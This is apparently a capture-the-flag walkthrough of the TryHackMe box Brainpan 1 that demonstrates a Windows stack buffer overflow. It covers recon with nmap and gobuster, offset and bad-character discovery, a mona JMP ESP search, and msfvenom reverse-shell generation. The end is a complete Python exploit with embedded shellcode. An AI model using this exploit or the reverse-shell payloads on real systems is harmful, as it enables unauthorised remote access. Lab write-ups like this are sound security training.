Practicing Buffer Overflow with Brainpan 1
Description
Practicing buffer overflow attack using Immunity debugger. This is also a walkthrough on a THM free trial box called Brainpan 1
Environment and Tools Used
Kali Linux
Windows 10
Immunity Debugger
Python
Recon
NMAP
Scanning the box via Nmap, we could see 2 ports are open, port 10000 where a python http server and something else is running on port 9999.
sudo nmap -sV -sC -A 10.10.48.245 | tee nmap
Visiting both ports on the browser, we can see a website on 10000 and a command line type of output on 9999. Let’s do a subdomain enumeration on the webserver port 10000.
gobuster dir -u http://10.10.48.245:10000/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,css,py,txt,img
We would be able to see the binary brainpan.exe in the bin folder.
Let’s copy it to our Windows VM and check whether it is vulnerable to a buffer overflow exploit.
Immunity Debugger
Let’s try to exploit it using the buffer overflow.
Setup
Import the binary to the Immunity debugger and run it. We can see the package is running on port 9999. Connect to the IP and Port using Netcat on the Kali VM.
Note
- Make sure to run Immunity as administrator and import mona modules on the immunity package. If you are new to immunity, check out my Free Float FTP walkthrough where I have given detailed steps on how to set up and do a buffer overflow attack.
Fuzzing
Let’s try to overflow the package using “A” characters and see whether the binary is vulnerable to buffer overflow.
The program crashed when we provided 800 “A” characters. The EIP is filled with x41 (A) which confirms that the binary is vulnerable to buffer overflow.
Total Buffer Size
Right-click on ESP and click follow in Dump. Note down the first and last Address on the hex dump where it is filled with A characters
Add 0x in front of both address spaces and subtract it in Python.
0x005FF700-0x005FFA18
So the total buffer size is 792. Let’s find the Offset.
Finding Offset
Create a Pattern with a total size of 792 using msfvenom and pass it to the program.
msf-pattern_create -l 792
The programm will crash, note down the EIP value. - 35724134
Let’s query the pattern offset to see the EIP offset value
msf-pattern_offset -l 792 -q 35724134
We got an Offset match at 524
Overwriting the EIP
Let’s try to overwrite the EIP. From our offset value, we could see that the EIP value would start at 525. Let’s create the payload. (“A” * [524] + BBBB + “C” *[792-524])
We can see BBBB (42424242) got captured in EIP value.
Finding Bad Characters
Let’s build a script to make our process a bit easier.
import sys
import socket
s=socket.socket()
s.connect(("192.168.1.36",9999))
badchars = b""
badchars += b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
badchars += b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
badchars += b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
badchars += b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
badchars += b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
badchars += b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
badchars += b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
badchars += b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
payload=b"A"*524+b"B"*4+ badchars
print(payload)
s.recv(1024)
s.send(payload+b"\r\n")
s.close()
There are no bad characters other than 0x00.
Finding the Right Module
Let’s find the right module using mona.
!mona modules
We can see the protection parameters are turned off (All False) on brainpan.exe.
JMP Opcode Equivalent
Find the Opcode equivalent of JMP esp using msf-nasm_shell
msf-nasm_shell
JMP ESP
Hex code for JMP ESP is FFE4. Let’s find the address of brainpan.exe mona module
!mona find -s “\xff\xe4” -m brainpan.exe
The address is 311712F3. Let’s change it to the endian format.
\xf3\x12\x17\x31
Reverse Shell
Let’s create a reverse shell using msfveneom.
msfvenom -p windows/shell\_reverse\_tcp LHOST=Attacker_machine_IP LPORT=1234 EXITFUNC=thread -f python -a x86 -b "\x00"
**Note - For THM machine we need to use Linux Payload**
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.18.22.186 LPORT=1234 EXITFUNC=thread -f python -a x86 -b "\x00"
Let’s update our script and include the above Endian value as EIP followed by shellcode. It is best practice to include nop sled before the shellcode for improving our accuracy.
import sys
import socket
s=socket.socket()
s.connect(("IP ADDRESS",9999))
buf = b""
buf += b"\xbd\x77\xf0\x3f\xf4\xda\xd9\xd9\x74\x24\xf4\x5e"
buf += b"\x2b\xc9\xb1\x52\x31\x6e\x12\x03\x6e\x12\x83\x99"
buf += b"\x0c\xdd\x01\x99\x05\xa0\xea\x61\xd6\xc5\x63\x84"
buf += b"\xe7\xc5\x10\xcd\x58\xf6\x53\x83\x54\x7d\x31\x37"
buf += b"\xee\xf3\x9e\x38\x47\xb9\xf8\x77\x58\x92\x39\x16"
buf += b"\xda\xe9\x6d\xf8\xe3\x21\x60\xf9\x24\x5f\x89\xab"
buf += b"\xfd\x2b\x3c\x5b\x89\x66\xfd\xd0\xc1\x67\x85\x05"
buf += b"\x91\x86\xa4\x98\xa9\xd0\x66\x1b\x7d\x69\x2f\x03"
buf += b"\x62\x54\xf9\xb8\x50\x22\xf8\x68\xa9\xcb\x57\x55"
buf += b"\x05\x3e\xa9\x92\xa2\xa1\xdc\xea\xd0\x5c\xe7\x29"
buf += b"\xaa\xba\x62\xa9\x0c\x48\xd4\x15\xac\x9d\x83\xde"
buf += b"\xa2\x6a\xc7\xb8\xa6\x6d\x04\xb3\xd3\xe6\xab\x13"
buf += b"\x52\xbc\x8f\xb7\x3e\x66\xb1\xee\x9a\xc9\xce\xf0"
buf += b"\x44\xb5\x6a\x7b\x68\xa2\x06\x26\xe5\x07\x2b\xd8"
buf += b"\xf5\x0f\x3c\xab\xc7\x90\x96\x23\x64\x58\x31\xb4"
buf += b"\x8b\x73\x85\x2a\x72\x7c\xf6\x63\xb1\x28\xa6\x1b"
buf += b"\x10\x51\x2d\xdb\x9d\x84\xe2\x8b\x31\x77\x43\x7b"
buf += b"\xf2\x27\x2b\x91\xfd\x18\x4b\x9a\xd7\x30\xe6\x61"
buf += b"\xb0\xfe\x5f\x68\x71\x97\x9d\x6a\x75\xb5\x2b\x8c"
buf += b"\x1f\x29\x7a\x07\x88\xd0\x27\xd3\x29\x1c\xf2\x9e"
buf += b"\x6a\x96\xf1\x5f\x24\x5f\x7f\x73\xd1\xaf\xca\x29"
buf += b"\x74\xaf\xe0\x45\x1a\x22\x6f\x95\x55\x5f\x38\xc2"
buf += b"\x32\x91\x31\x86\xae\x88\xeb\xb4\x32\x4c\xd3\x7c"
buf += b"\xe9\xad\xda\x7d\x7c\x89\xf8\x6d\xb8\x12\x45\xd9"
buf += b"\x14\x45\x13\xb7\xd2\x3f\xd5\x61\x8d\xec\xbf\xe5"
buf += b"\x48\xdf\x7f\x73\x55\x0a\xf6\x9b\xe4\xe3\x4f\xa4"
buf += b"\xc9\x63\x58\xdd\x37\x14\xa7\x34\xfc\x34\x4a\x9c"
buf += b"\x09\xdd\xd3\x75\xb0\x80\xe3\xa0\xf7\xbc\x67\x40"
buf += b"\x88\x3a\x77\x21\x8d\x07\x3f\xda\xff\x18\xaa\xdc"
buf += b"\xac\x19\xff"
payload=b"A"*524+b"\xf3\x12\x17\x31"+b"\x90"*20+buf
print(payload)
s.recv(1024)
s.send(payload+b"\r\n")
s.close()
Let’s restart the application in immunity debugger, set the Jmp point to 0x311712f3 and add a break point on that address.
Run the script!!!
We got a Shell.
Happy Hacking!!